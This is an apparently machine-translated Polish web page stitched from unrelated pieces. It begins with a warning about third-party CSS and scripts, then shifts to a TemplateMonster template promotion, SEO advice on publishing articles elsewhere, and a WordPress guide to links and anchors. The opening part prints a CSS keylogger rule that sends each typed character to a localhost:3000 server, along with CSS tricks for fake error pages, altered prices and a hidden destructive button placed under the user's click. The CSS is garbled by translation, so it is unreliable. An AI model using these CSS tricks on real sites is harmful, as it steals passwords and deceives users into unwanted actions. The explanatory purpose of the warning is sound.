Zasoby stron trzecich. WordPressa

Powiemy Ci, jak możesz zaszkodzić swojej witrynie, używając CSS, JavaScript i innych zasobów z serwerów innych osób.

Pod koniec lutego w Internecie pojawił się keylogger wykorzystujący częściowo CSS. Atak z jego wykorzystaniem jest prosty: dla każdego znaku wprowadzonego w polu określonego typu (na przykład hasła) generowane jest żądanie do serwera strony trzeciej, rzekomo żądające obrazu tła:

input (obraz tła: url("http://localhost:3000/a"); )

Na serwerze można zarejestrować sekwencję żądań i łatwo obliczyć wprowadzone hasło.

Podczas dyskusji na temat problemu niektórzy sugerowali, że producenci przeglądarek pracują nad rozwiązaniem. Ktoś zauważył, że problem dotyczy tylko witryn korzystających z frameworków typu React i zrzucił na nie winę.

Jeśli dodasz tego rodzaju obraz do swojej witryny, uzależnisz się od example.com. Mogą Cię oszukać na różne sposoby, na przykład usuwając zdjęcie - zamiast obrazu otrzymasz błąd 404. Lub mogą po prostu zastąpić wizerunek kota czymś mniej przyjemnym.

Możesz ostrzec swoich użytkowników, że obraz został dodany z zewnętrznego zasobu i nie masz z nim żadnego połączenia. W ten sposób uchronisz się trochę przed kłopotami. Ale oczywiście dodanie prostego zdjęcia nie zapewnia dostępu do haseł.

Ten przykład jest o wiele bardziej interesujący w przypadku example.com, ponieważ dodając skrypt z ich witryny, dajesz im znacznie większą kontrolę nad swoją. W tym przypadku example.com może:

• Przeczytaj/zmień zawartość strony.
• Śledź każde działanie użytkownika.
• Uruchom kod, który jest trudny do obliczenia (na przykład górnik kryptowalut).
• Poproś o pliki cookie.
• Odczyt/modyfikuj pamięć lokalną.

Innymi słowy, example.com może teraz zrobić wiele rzeczy.

Interakcja z lokalną pamięcią masową stwarza w przyszłości jeszcze więcej problemów. Zasób strony trzeciej będzie miał dostęp do Twojej witryny nawet po usunięciu skryptu ze strony. Jeśli dodasz do witryny skrypt strony trzeciej, musisz całkowicie zaufać źródłu i jego bezpieczeństwu.

Jeśli nadal napotykasz nieprawidłowy skrypt, spróbuj użyć nagłówka Clear-Site-Data.

Kod CSS strony trzeciej pod względem wpływu na witrynę znajduje się pomiędzy obrazem a skryptem. Obcy CSS może:

• Usuń/zmień/dodaj treść na stronie.
• Twórz zapytania na podstawie zawartości strony.
• Reaguj na wiele działań użytkowników.

CSS nie będzie mógł wchodzić w interakcję z lokalną pamięcią masową, a górnik kryptowalut nie osadzi go na stronie, ale może wyrządzić wiele szkód właścicielowi zasobu.

Zmodyfikujmy nieco CSS z początku artykułu:

input (obraz tła: url("/hasło?a"); )

Kod ten wyśle ​​dane o wprowadzonym znaku „a” do obsługi pod pozorem żądania zdjęcia. Powtórz kod dla każdego znaku, a teraz masz keylogger CSS.

Domyślnie przeglądarki nie przechowują znaków dostarczonych przez użytkownika w atrybucie wartości, więc ta sztuczka zadziała, jeśli użyjesz czegoś, co synchronizuje takie wartości, jak ta.

Oczywiście ten problem można rozwiązać po stronie Reacta i podobnych frameworków. Ale wtedy rozwiązany zostanie tylko konkretny przypadek, a inne problemy pozostaną.

treść (wyświetlanie: brak; ) html::after (treść: „Błąd serwera serwera HTTP”; )

To oczywiście bardzo osobliwy przykład, ale wciąż działający. Wyobraź sobie, że Twoi użytkownicy wchodząc na witrynę zamiast zwykłej strony głównej widzą niezrozumiały błąd. W ten sam sposób obcy kod może na przykład usunąć przycisk „kup” lub sprawić inną trudność.

Cena-wartość::przed (treść: "1"; )

I tak po prostu ceny poszybowały w górę.

Przycisk Usuń wszystko ( krycie: 0; pozycja: bezwzględna; góra: 500 pikseli; lewa: 300 pikseli; )

Weź przycisk, który robi coś okropnego i którego użytkownik po prostu nie kliknie, uczyń go przezroczystym i umieść w miejscu, w którym użytkownik z pewnością kliknie.

Oczywiście, jeśli przycisk wykonuje coś naprawdę ważnego, użytkownik najpierw zobaczy okno dialogowe z ostrzeżeniem. Ale to nie jest problem: potrzebuje po prostu więcej CSS. Możesz na przykład zmienić treść przycisku z „O mój Boże, nie!” na „Oczywiście, jestem pewien”.

Wyobraź sobie, że twórcy przeglądarek naprawili sztuczkę z keyloggerem. Atakujący po prostu umieszczają dodatkowe pole tekstowe nad ważnym polem hasła i wracają do pracy.

Wartość i inne atrybuty niekoniecznie przechowują hasła: osoba atakująca może znaleźć coś innego interesującego.

< / div >

Wszystkie te dane można zebrać za pomocą selektorów CSS i wysłać tam, gdzie powinny.

Każdy właściciel strony internetowej chce mieć piękny wygląd! Powstaje więc pytanie, jak szybko i po przystępnej cenie uzyskać wysokiej jakości projekt zasobu internetowego?

Czym są zasoby stron trzecich? Dla nikogo nie będzie nowością to, że do stworzenia strony internetowej, jeśli sam nie wiesz od czego zacząć, będziesz potrzebować programisty i projektanta. Angażując tych mistrzów w swoją pracę, powinieneś być przygotowany na to, że nie wszystko ułoży się szybko.

Każdy specjalista ma swoją wizję i każdy ma własne rozumienie tego, czym jest „prawo”. Dlatego bądź przygotowany na obronę swojej opinii. Wszystkie takie spory i zmiany zajmują dużo czasu, wysiłku i pieniędzy, ponieważ usługi programistów i projektantów nie są tanie.

Biorąc powyższe pod uwagę, pojawia się pytanie: „Po co angażować do stworzenia strony internetowej zasoby osób trzecich?” Co dziwne, istnieją pewne zalety. Po pierwsze, taka współpraca pozwala stworzyć nie tylko piękny projekt strony, ale także zupełnie niepowtarzalny. Po drugie, możesz zaimplementować układ swojego zasobu internetowego, o jakim zawsze marzyłeś, nawet ten najbardziej skomplikowany, wypełniony różnego rodzaju sekcjami i menu o różnym stopniu złożoności.

Szablony to gotowe projekty, które można wykorzystać do stworzenia strony internetowej. Jeśli chcesz stworzyć stronę internetową, która będzie działać na konkretnym CMS-ie, możesz wybrać szablon, który jest zaprojektowany specjalnie dla tej platformy.

Jakie są zalety korzystania z szablonów? Patrząc na powyższe zrzuty ekranu, a dokładniej na cenę proponowanych układów firmy TemplateMonster, z całą pewnością możemy stwierdzić, że polityka cenowa dotycząca szablonów jest bardzo lojalna.

Za niewielkie pieniądze otrzymujesz nie tylko piękny design, ale także nowoczesną funkcjonalność. Ponadto wszystkie szablony można dostosowywać, więc nawet jeśli coś w projekcie układu Ci nie odpowiada, możesz to zmienić lub usunąć. Dzięki przyjaznemu interfejsowi panelu administracyjnego możesz łatwo poruszać się po dostępnych ustawieniach bez konieczności pomocy z zewnątrz, co znacznie zaoszczędzi czas i budżet.

Większość szablonów jest responsywna, co pozwala na stworzenie funkcjonalnej strony internetowej, która będzie działać na każdym typie urządzenia. Kolejną cechą, którą zdecydowanie warto wziąć pod uwagę przy wyborze odpowiedniego szablonu, jest wszechstronność!

Zespół TemplateMonster opracował pewien rodzaj szablonów, które można wykorzystać w przypadku witryn różnego typu, np. sklepu internetowego czy bloga, a także zasobów o różnej tematyce (budownictwo, sklep meblowy itp.).

I wreszcie, najważniejszą zaletą pracy z gotowymi układami TemplateMonster jest to, że kupując motyw, otrzymujesz dostęp do bezpłatnej pomocy technicznej 24 godziny na dobę, 7 dni w tygodniu. Dlatego jeśli masz pytania związane z instalacją lub konfiguracją zakupionego motywu, możesz uzyskać wykwalifikowaną pomoc!

Piękne projekty stron internetowych to pierwszy krok do sukcesu! Użytkownicy otwierając stronę internetową, najpierw wizualnie oceniają zasób, a następnie sprawdzają, jakie informacje się na nim znajdują. Dlatego jeśli chcesz mieć dużą liczbę klientów, czytelników czy kupujących, ważne jest, aby już na pierwszy rzut oka móc przyciągnąć ich uwagę, aby nie opuścili Twojej witryny na zawsze. Jak to zrobić? Zgadza się, użyj pięknego projektu swojego zasobu, który może zainteresować i wzbudzić zainteresowanie użytkowników.

Podejmując decyzję o sposobie stworzenia strony internetowej (utwórz od podstaw lub skorzystaj z szablonu), ważne jest określenie głównych zadań dla zasobu, co pozwoli wybrać najodpowiedniejszą metodę. Oczywiście możesz zająć się tworzeniem strony internetowej samodzielnie, zwłaszcza, że ​​wiesz lepiej niż ktokolwiek, czego potrzebujesz! Ale w tym przypadku wymagany będzie pewien poziom umiejętności i wiedzy.

Jeśli nie masz tego wszystkiego, ale naprawdę chcesz samodzielnie stworzyć projekt witryny, zdecyduj się na szablony TemplateMonster. Tutaj nie trzeba wielkich umiejętności i wszystko jest jasne nawet dla początkującego użytkownika!

Prawo PR mówi: „Im więcej osób będzie o Tobie wiedzieć, tym więcej klientów skorzysta z usługi!” Ten sam cel jest nieodłącznym elementem publikowania artykułów w zasobach stron trzecich. Każda witryna strony trzeciej jest:

• Nowi odbiorcy, a co za tym idzie potencjalni klienci;
• Napływ ruchu, który kilkakrotnie przekracza liczbę odwiedzających;
• Naturalny link do Twojej witryny;
• Możliwa dystrybucja Twoich artykułów (jeśli są interesujące) w mediach społecznościowych. sieci.

Fora ze specjalną sekcją (webmasters.ru, maultalk.com)

Filtry. Witryna zapewniająca możliwość bezpłatnego umieszczenia może podlegać AGS. Publikując w nim linki do swojej witryny, ryzykujesz utratę rankingów lub co gorsza – zostaniesz oznaczony jako „Minusinsk”. Na ratunek przychodzi pasek RDS.

TIK. Podobnie jak w przypadku pierwszej opcji, wybrana witryna może znajdować się pod „Minusińskiem”, ponadto linki z witryn z 0 znacznikami TIC są bardziej podobne do „niestandardowych”.

Istnieją 2 sposoby publikowania artykułów w witrynach stron trzecich:

• Pełne kopiowanie;
• Ogłoszenie.

Porozmawiajmy bardziej szczegółowo o skuteczności każdej metody.

Dość popularny sposób dzielenia się informacjami. Lista witryn opublikowana tuż powyżej umożliwia publikowanie pełnych artykułów. Jest nawet specjalne pole na link do źródła. Ciekawe artykuły szybko zyskują popularność, są omawiane i lubiane. Wszystko byłoby dobrze, ale jest też druga strona medalu.

• Publikując cały artykuł w witrynie strony trzeciej, odcinasz przepływ docelowego ruchu do swoich zasobów. W końcu po co iść gdzie indziej, skoro możesz przeczytać artykuł w źródle strony trzeciej?
• Walka o przewagę w wynikach wyszukiwania. Z pewnością zasoby, w których publikujesz swoje artykuły, nawet te zaindeksowane, wyprzedzają Twoją witrynę pod względem wskaźników rankingowych (Ruch, Cycki, Zaufanie). W Internecie zdarza się wiele przypadków, gdy strona z duplikatem zajmuje wyższą pozycję w rankingu niż oryginał.
• Wyjątkowość. Przydatne materiały można kopiować nawet bez Twojej pomocy. Publikując pełny artykuł, zwiększasz jedynie liczbę stron, zmniejszając niepowtarzalność swojego tekstu. W rezultacie strona może się zapadać w przypadku promowanych zapytań.
• Problemy z aktualizacją. W praktyce spotkałem się z projektami, w których przy zmianie adresów URL (adresów) stron musiałem całkowicie przepisać treść. Powodem tego są witryny stron trzecich z opublikowanymi materiałami.

Opcja ta polega na opublikowaniu na obcej stronie nie całego artykułu, a krótkiego ogłoszenia ze zdjęciem. I nie da się tego uniknąć samym nagłówkiem. W końcu musimy zainteresować odbiorców na tyle, aby przejść do naszego zasobu. Głównym problemem jest uczynienie go tak interesującym, jak to tylko możliwe. I nie kopiuj tylko pierwszego akapitu, ale spraw, by był wyjątkowy.

Dla społeczności sieci - optymalna objętość ogłoszenia to 300 znaków. Ogłoszenie można napisać raz i opublikować na wszystkich stronach.

Jeśli chodzi o portale, ogłoszenie tam powinno być większe, około 1000 znaków. Odbiorcy takich portali przyzwyczajeni są najpierw do oceny „przydatności”, a dopiero potem do dokonywania przejść.

Mówiąc o portalach, należy wziąć pod uwagę wymagania dotyczące publikacji. Tam, gdzie liczy się wyjątkowość artykułu, napisz wyjątkowe ogłoszenia. Tam, gdzie wyjątkowość nie jest istotna, opublikuj to, co zostało już napisane.

W rezultacie otrzymujemy:

• Zainteresowanie użytkowników Twoimi publikacjami.
• Ruch uliczny.
• Zwiększenie masy odniesienia.
• Zachowaj wyjątkowość swoich treści.

Swoją drogą ogłoszenie będzie doskonałą zachętą do napisania ciekawych materiałów, a nie tylko zaśmiecania Internetu artykułami.

Uprość swoją pracę dzięki publikowaniu ogłoszeń w mediach społecznościowych. sieci korzystające ze znaczników Open Graph. Umożliwia napisanie ogłoszenia o artykule. W rezultacie podczas normalnego repostowania tytuł, ogłoszenie i zdjęcie opublikowanego linku zostaną automatycznie wstawione. Możesz sprawdzić wizualne wyświetlanie znaczników otwartego wykresu

Najłatwiejszym sposobem dodania linków do zasobów stron trzecich oraz linków między stronami i postami na blogu w WordPressie jest użycie wbudowanego w edytorze narzędzia Wstaw/Edytuj link. Nieco trudniej jest wstawić linki do konkretnego akapitu, punktu, linijki wewnątrz stron i postów, wygenerowane ręcznie w kodzie HTML.

1. Otwórz w przeglądarce stronę witryny innej firmy, do której chcesz wkleić link, i skopiuj adres URL z paska adresu do schowka.

2. Przejdź do okna edycji swojego wpisu lub strony, zaznacz treść przyszłego linku lub umieść kursor w miejscu, w którym powinien znajdować się link, kliknij przycisk na pasku narzędzi edytora tekstu z podpowiedzią „Wstaw/edytuj link ”. W poprzednich wersjach WordPressa natychmiast otwierało się okno główne o nazwie „Wstaw/edytuj link”. Jeśli się nie mylę, od wersji 4.5 zaczął się otwierać w zminimalizowanej formie z polem do wstawienia adresu i dwoma przyciskami: „Zastosuj” i „Ustawienia łącza” - ten przycisk rozwija okno „Wstaw/Edytuj link”.

3. W oknie, które się otworzy do dodania linku, wklej adres ze schowka i kliknij przycisk „Zastosuj” (a jeśli tekst linku nie był wcześniej zaznaczony, kliknij sąsiadujący przycisk „Ustawienia linku”, jak w kroku 5 , aby dodać tekst linku):

Ponieważ w przykładzie tekst linku został wcześniej podświetlony, link jest gotowy:
Link do zasobu strony trzeciej: Tanie loty.
4. Aby zmienić adres URL, dodać lub edytować wyświetlany tekst, sposób otwierania (w bieżącym lub nowym oknie), wybierz odnośnik i w oknie, które się pojawi kliknij przycisk „Edytuj”:

5. Otworzy się znajome okno z polem do dodania adresu URL, w którym klikamy przycisk „Ustawienia łącza”, aby uzyskać rozwinięte okno:

6. Otworzy się główne okno „Wstaw/edytuj link”:

W tym oknie możesz zaznaczyć pole obok „Otwórz w nowej karcie”, w razie potrzeby zamienić adres URL oraz dodać lub zmienić tekst linku. Ponieważ możesz wstawić link bez wcześniejszego zaznaczania tekstu, ale dodając go w polu „Tekst linku” okna „Wstaw/edytuj link”, link zostanie dodany w miejscu, w którym pierwotnie stał kursor. Kliknij przycisk „Aktualizuj”.

Aby wstawić link do strony lub wpisu na swoim blogu, zaznacz treść linku lub umieść kursor w miejscu, w którym link ma zostać dodany. Kliknij przycisk na pasku narzędzi „Wstaw/edytuj łącze”. W oknie, które zostanie otwarte, kliknij przycisk „Ustawienia łącza”, po czym otworzy się główne okno „Wstaw/Edytuj łącze”:

Z listy w dolnej połowie okna wybierz stronę lub wpis, kliknij na niego, adres URL zostanie wstawiony automatycznie, tekst linku, jeśli nie został wcześniej wybrany, można ręcznie wpisać w odpowiednie okno lub wkleić ze schowka kopiując najpierw nazwę strony lub wpisu bezpośrednio z listy. W razie potrzeby zaznacz checkbox „Otwórz w nowej karcie” i oczywiście kliknij przycisk „Dodaj link”. Dodano link do strony Twojego bloga:
Link do strony Twojego bloga: .

Aby móc odnosić się do konkretnej lokalizacji na stronie lub w poście, lokalizacja ta musi być w jakiś sposób oznaczona. Aby to zrobić, obok niej wstawia się zakładkę lub, jak to się nazywa, kotwicę. Nawiasem mówiąc, w zakładce „Wizualne” zakładka ta będzie oznaczona kotwicą. Jako przykład rozważ wstawienie linków do pozycji spisu treści tego artykułu i wstawienie zakładek (kotwic) do nazw odpowiednich sekcji, aby przejść do nich ze spisu treści.

Zakładki wstawiane są w edytorze HTML (w zakładce „Tekst”) i składają się z następującej struktury:

Zamiast link1 wstaw nazwę zakładki.

Zamiast link1 wstaw nazwę zakładki, do której chcesz przejść poprzez link, symbol # (hash, hash) oznacza, że ​​po nim następuje id. Symbol # bez identyfikatora w linku oznacza początek strony i służy do powrotu na górę (góra).

Teraz wszystko jest w porządku:

1. Wymyśl nazwę zakładki i przejdź do edytora HTML, wybierając zakładkę „Tekst”.

2. Umieść zakładkę w wybranym miejscu artykułu. Wstawiłem kotwice obok nagłówków sekcji:

Jeśli umieścisz tekst pomiędzy tagiem otwierającym i zamykającym, będzie on pokolorowany jak link.
3. Wstaw linki do zakładek do pozycji spisu treści:

4. Teraz możesz przetestować, łącznie z linkiem „W górę”:

W górę

5. Pełny link do zakładki wygląda następująco: URL strony/#link1. Nie musisz tworzyć go ręcznie; wystarczy kliknąć link do zakładki i skopiować pełny adres URL w pasku adresu. Możesz użyć tego adresu, aby przejść do zakładek z innych witryn.